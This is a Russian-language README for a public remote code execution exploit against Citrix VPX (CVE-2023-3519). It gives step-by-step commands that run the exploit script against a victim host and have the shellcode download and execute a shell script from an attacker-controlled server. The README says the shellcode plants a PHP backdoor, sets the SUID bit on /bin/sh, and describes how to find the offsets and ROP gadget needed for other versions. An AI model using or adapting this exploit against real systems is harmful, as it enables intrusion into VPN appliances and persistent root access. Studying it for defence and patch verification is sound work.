
Эксплойт RCE для CVE-2023-3519
Этот эксплойт использует адреса и шеллкод для Citrix VPX 13.1-48.47. Полное описание доступно по ссылке здесь.
Для сборки шеллкода требуется NASM.
$ sudo apt install nasm
Включенный шеллкод загружает и запускает shell-скрипт с удаленного HTTP(S) сервера. Скрипт принимает 3 аргумента: целевой хост, целевой порт и URL полезной нагрузки (shell-скрипта). Пример полезной нагрузки, которая выполняет id и uname -a перед самоочисткой, включен в этот репозиторий.
$ echo 'id' > a
$ python3 -m http.server &
$ python3 cve-2023-3519.py victim.com 443 attack.er:8000/a
URL должен быть достаточно коротким, чтобы поместиться в буфер шеллкода; если он слишком длинный, вы получите предупреждение.
Шеллкод создает PHP бэкдор в /var/netscaler/logon/a.php и устанавливает SUID-бит на /bin/sh. Включенная полезная нагрузка sh демонстрирует пример автоматической очистки этих артефактов. Также обратите внимание, что шеллкод не закрывает свои файловые дескрипторы, поэтому чрезмерное многократное использование эксплойта может привести к исчерпанию ресурсов.
Для целей Citrix на основе FreeBSD вам потребуется найти только 3 значения: смещение сохраненного указателя возврата, ROP-гаджет jmp rsp (или что-то эквивалентное, например push rsp; ret;), и адрес перехода для избежания сбоя. Все эти параметры жестко заданы в начале файла cve-2023-3519.py. Для некоторых версий также может потребоваться найти четвертое значение для исправления значения RBP, так как компилятор генерирует загрузки относительно RBP вместо использования инструкций POP для восстановления сохраненных регистров.